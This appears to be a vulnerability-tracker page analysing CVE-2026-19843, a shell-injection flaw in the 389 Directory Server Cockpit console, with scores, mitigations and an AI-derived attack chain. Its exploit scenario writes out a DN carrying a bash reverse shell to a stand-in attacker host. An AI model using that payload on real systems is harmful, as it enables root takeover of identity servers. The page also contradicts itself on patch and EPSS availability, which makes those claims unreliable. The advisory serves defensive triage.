What is the CVSS score of CVE-2026-19843?

CVE-2026-19843 has a CVSS 3.1 base score of 8.4 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H. EPSS exploitation probability: 0.5%.

How to fix or mitigate CVE-2026-19843?

Within 24 hours: conduct an immediate inventory of all Red Hat Directory Server 11/12/13 deployments on RHEL 6-10, document which users and service accounts hold LDAP entry-creation privileges, and audit Cockpit Console access permissions. Within 7 days: revoke non-essential LDAP entry-creation privileges to reduce attack surface, restrict Cockpit access to only essential administrators and enforce multi-factor authentication, and enable detailed audit logging for LDAP write operations and Cockpit administrative activities. Within 30 days: monitor Red Hat's security advisories for patch availability, develop and validate an upgrade path to patched Directory Server versions when released, and conduct a comprehensive review of LDAP delegation policies to implement least-privilege access controls.

389 Directory Server CVE-2026-19843

EUVD-2026-72458 HIGH

OS Command Injection (CWE-78)

2026-09-07 redhat

GHSA-p34m-7cj2-q64p

Command Injection Red Hat Enterprise Linux 10 Red Hat Enterprise Linux 6 Red Hat Enterprise Linux 7 Red Hat Enterprise Linux 8 Red Hat Enterprise Linux 9 Red Hat Directory Server 11 Red Hat Directory Server 12 Red Hat Directory Server 13 Red Hat

8.4

CVSS 3.1 · Vendor: redhat

View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

Access

Obtain delegated LDAP write credentials
Delivery

Craft DN embedding shell metacharacters and payload
Exploit

Create or rename LDAP entry via standard LDAP protocol
Execution

Wait for Cockpit admin to navigate to entry in 389 Console
Persist

Console builds unescaped ldapsearch shell command incorporating malicious DN
Impact

Injected commands execute as root on directory server host

Vulnerability Assessment

Weakness	CWE CWE-78 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization OS command sanitization, avoid shell exec MITRE ATT&CK 2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Exploitation Conditions	The attacker must hold a valid LDAP credential with delegated access-control instructions (ACIs) permitting the add or modrdn (rename) operation on at least one directory subtree - this is a non-default privilege explicitly granted by a directory administrator, not available to standard directory users. A Cockpit administrator must then open the 389 Console and navigate to view the maliciously crafted entry; without this human-triggered action the injected DN never reaches the vulnerable shell command. The Cockpit web console with the 389 DS management plugin must be installed and actively used on the directory server host. Exploitation is not possible if delegated write access is limited to fully trusted accounts, if Cockpit is not installed or is firewalled from administrator workstations, or if administrators exclusively use CLI tools (ldapsearch, ldapmodify) rather than the Cockpit GUI. The PR:H and UI:R CVSS metrics accurately capture these two hard prerequisites.
Impact	The vendor-supplied CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H yields a base score of 8.4. PR:H and UI:R correctly constrain exploitation: the attacker must hold delegated LDAP write privileges (not the default for most directory users), and a Cockpit administrator must actively navigate to the crafted entry, making fully automated exploitation impossible. However, the scope-changed (S:C) impact metrics (C:H/I:H/A:H) reflect that successful exploitation yields full root access on the directory server - an extremely high-value target hosting credentials, group memberships, and access-control data for an entire enterprise. No EPSS data was provided, no CISA KEV listing exists, and no public POC has been identified, suggesting this is not currently under widespread active exploitation. Real-world priority is elevated for environments where multiple LDAP operators hold delegated write access and Cockpit is regularly used by administrators, since the UI:R trigger may occur organically during routine directory administration. The primary threat model is a malicious insider or a compromised LDAP operator account escalating to root.
Exploit ScenarioDerived	An LDAP operator with delegated write access to a subtree creates a directory entry with a DN such as cn=harmless;bash -i >& /dev/tcp/attacker/4444 0>&1 #,ou=users,dc=corp,dc=com. When a Cockpit administrator subsequently opens the 389 Console to browse or inspect entries, the console generates an ldapsearch shell command embedding the raw DN string, and the bash reverse-shell payload executes as root on the directory server. No public exploit code has been identified at the time of analysis, but the technique requires only basic knowledge of shell metacharacter injection.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).

Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 07, 2026

Shell command injection in the Cockpit 389 Console allows an LDAP user with delegated entry-creation privileges to achieve root code execution on the directory server host. The 389-ds-base package, as deployed in Red Hat Directory Server 11/12/13 and RHEL 6-10, constructs ldapsearch commands by embedding LDAP distinguished names directly into shell strings without escaping metacharacters. An attacker controlling LDAP write access can plant a malicious DN; when a Cockpit administrator views that entry, injected shell commands execute with root privileges. No public exploit code or CISA KEV listing has been identified at the time of analysis.

RemediationAI

Apply the vendor-released errata once published by Red Hat; monitor https://access.redhat.com/security/cve/CVE-2026-19843 and https://bugzilla.redhat.com/show_bug.cgi?id=2515965 for the specific fixed package versions - no exact fix version is confirmed in the available data at the time of analysis. As an immediate compensating control, restrict delegated LDAP write permissions (specifically add and modrdn/rename ACIs) to only fully trusted, audited accounts, which eliminates the attacker's ability to plant the malicious DN entirely. Alternatively, disable or network-restrict access to the Cockpit 389 Console plugin on directory server hosts until the patch is applied; this removes the UI trigger path while leaving the LDAP service itself operational. Note that disabling Cockpit reduces administrative convenience but does not affect directory server functionality or client authentication. Do not rely solely on network-layer controls, as the initial entry-creation step uses standard LDAP protocol on the directory port.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

389-ds-base is the upstream LDAP directory server underlying Red Hat Directory Server (RHDS) versions 11, 12, and 13, and is distributed across all supported RHEL releases (6 through 10) per the supplied CPE strings (cpe:2.3:a:red_hat:red_hat_directory_server_11/12/13 and cpe:2.3:a:red_hat:red_hat_enterprise_linux_6/7/8/10). The Cockpit web console includes a 389 DS management plugin providing a graphical LDAP entry editor. This plugin internally executes ldapsearch by constructing a shell command string that incorporates the selected entry's DN. Because LDAP DNs may legally contain characters such as semicolons, backticks, pipe symbols, and dollar signs - all of which carry special meaning in POSIX shell - failing to escape the DN before shell interpolation is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) defect. The command executes in the context of the Cockpit backend, which runs with root privileges on the directory server host.

Know when Red Hat Enterprise Linux 10 gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (redhat) PRIMARY 8.4 HIGH

AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

vuln.today AI 8.4 HIGH

PR:H reflects explicitly-delegated LDAP write access; S:C and C/I/A:H reflect root code execution escaping the directory service process boundary.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SUSE 8.0 HIGH

AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Red Hat 8.4 HIGH

Primary rating from Vendor (redhat).

CVSS VectorVendor: redhat

Attack Vector

Network

Attack Complexity

Low

Privileges Required

High

User Interaction

Required

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

DescriptionCVE.org

A flaw was found in 389-ds-base. The Cockpit 389 Console's LDAP editor constructs an ldapsearch command by embedding an LDAP entry's distinguished name (DN) into a shell command string without proper escaping. An LDAP user with delegated privileges to create or rename directory entries could craft a malicious DN containing shell metacharacters. When a Cockpit administrator subsequently views the entry in the 389 Console, the embedded shell command executes with root privileges on the directory server host.

Executive ViewAI

Why It Matters

A shell command injection vulnerability in Red Hat Directory Server's Cockpit console (CVE-2026-19843, CVSS 8.4) allows LDAP users with delegated entry-creation rights to execute arbitrary commands with root privileges on the identity server, directly compromising the integrity of core authentication infrastructure. Organizations running Red Hat Directory Server 11/12/13 on RHEL 6-10 face complete directory compromise if their privileged LDAP accounts are compromised or misconfigured. No public exploit code has been identified at time of analysis, but no vendor patch is currently available.

Business Impact: High

Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Immediately restrict LDAP entry-creation privileges to only essential service accounts and eliminate delegated entry-creation for general users; (2) Enforce multi-factor authentication on all Cockpit Console administrative access; (3) Disable Cockpit 389 Console entirely if not required for normal operations; (4) Implement network segmentation to restrict administrative access to Directory Server to trusted networks only; (5) Enable comprehensive audit logging to detect LDAP modifications with suspicious content or shell metacharacters; (6) Monitor for unusual administrative access patterns, privilege escalation attempts, or entries created by unexpected accounts.

Threat Intelligence Overview

EPSS Score

0.5%

Top 61% exploitable

Prevalence

Medium

enterprise LDAP service common across RHEL-based deployments

Data Quality

7 sources

Confidence: High

EUVD

NVD

CVE.org

EPSS

Vulnrichment Vendor

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity HIGH

CISA KEV No

Public POC No

EPSS 0.5%

Patch available Yes

Active threat No

Deciding rule

HIGH severity (CVSS 7.0-8.9)

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision

Scheduled

Exploitation

None

System Exposure· derived

Open

Automatable

Human Impact

High

Technical Impact

Total

Priority Score

Low Medium High Critical

KEV: 0

EPSS: 0

CVSS: +42

PoC: 0

Weaponized: 0

Threat intel: 0

Gov advisory: 0

Attack Technique

OS Command Injection CRITICAL

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:red_hat:red_hat_directory_server_11:*:*:*:*:*:*:*:*

cpe:2.3:a:red_hat:red_hat_directory_server_12:*:*:*:*:*:*:*:*

cpe:2.3:a:red_hat:red_hat_directory_server_13:*:*:*:*:*:*:*:*

cpe:2.3:a:red_hat:red_hat_enterprise_linux_10:*:*:*:*:*:*:*:*

cpe:2.3:a:red_hat:red_hat_enterprise_linux_6:*:*:*:*:*:*:*:*

cpe:2.3:a:red_hat:red_hat_enterprise_linux_7:*:*:*:*:*:*:*:*

cpe:2.3:a:red_hat:red_hat_enterprise_linux_8:*:*:*:*:*:*:*:*

cpe:2.3:a:red_hat:red_hat_enterprise_linux_9:*:*:*:*:*:*:*:*

More in Red Hat Enterprise Linux 10

View all

CVE-2026-18663 MEDIUM This Month

5.9 Aug 12

Heap corruption via double-free in 389-ds-base's LDAP control parsing allows an unauthenticated remote attacker to crash

CVE-2026-4631 CRITICAL Act Now POC

9.8 Apr 07

Remote code execution in Cockpit's web interface allows unauthenticated attackers to execute arbitrary commands on the h

CVE-2026-4480 CRITICAL Act Now POC

9.0 May 26

Remote code execution in Samba's printing subsystem allows remote attackers to inject arbitrary shell commands via craft

CVE-2026-101258 HIGH This Week POC

7.8 Oct 06

Ghostscript can execute arbitrary shell commands with the privileges of its process when it renders a crafted PostScript

CVE-2026-96889 HIGH This Week POC

7.8 Sep 23

Use-after-free in librsvg during rendering of crafted SVG documents with nested XInclude directives and duplicate entity

CVE-2026-4775 HIGH This Week POC

7.8 Mar 24

A signed integer overflow vulnerability exists in the libtiff library's putcontig8bitYCbCr44tile function that leads to

CVE-2026-114406 MEDIUM This Month POC

6.8 Oct 21

The system CA trust store shipped in Red Hat's ca-certificates RPM packages includes eMudhra root authorities that signe

CVE-2026-18922 CRITICAL Act Now

9.8 Sep 07

Authentication bypass in 389 Directory Server (shipped as Red Hat Directory Server 11-13 and within RHEL 6-10) lets remo

CVE-2026-14544 CRITICAL Act Now

9.8 Jul 03

Remote code execution and privilege escalation in HPLIP (HP Linux Imaging and Printing) affects the hpcups print filter

CVE-2026-76578 CRITICAL Act Now

9.8 Sep 07

Unauthenticated privilege escalation in FreeIPA (Red Hat Identity Management) allows a remote attacker to gain genuine a

CVE-2026-102560 CRITICAL Act Now

9.8 Sep 29

A heap buffer overflow exists in libsoup's WebSocket permessage-deflate compression path: when a very large outbound mes

CVE-2026-5121 HIGH Act Now

7.5 Mar 30

Remote code execution in libarchive on 32-bit systems allows unauthenticated attackers to execute arbitrary code via spe

Same weakness CWE-78 – OS Command Injection

View all

CVE-2019-15107 CRITICAL POC

9.8

CVE-2024-51378 CRITICAL POC

9.8

CVE-2014-6271 CRITICAL POC

9.8

CVE-2018-11138 CRITICAL POC

9.8

CVE-2014-6278 HIGH POC

8.8

CVE-2020-9054 CRITICAL POC

9.8

CVE-2017-6334 HIGH POC

8.8

CVE-2024-50603 CRITICAL POC

10.0

Same technique Command Injection

View all

CVE-2024-21887 CRITICAL POC

9.1

CVE-2016-3081 HIGH POC

8.1

CVE-2012-1823 CRITICAL POC

9.8

CVE-2016-1555 CRITICAL POC

9.8

CVE-2024-55956 CRITICAL POC

9.8

Vendor StatusVendor

SUSE

Severity: Important

Product	Status
SUSE Linux Enterprise Module for Server Applications 15 SP7	Affected
SUSE Linux Enterprise Server 15 SP7	Affected
SUSE Linux Enterprise Server 16.0	Affected
SUSE Linux Enterprise Server 16.1	Affected
SUSE Linux Enterprise Server for SAP Applications 15 SP7	Affected

References

Advisories & patches

Search Externally

GitHub PoC

Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC

Back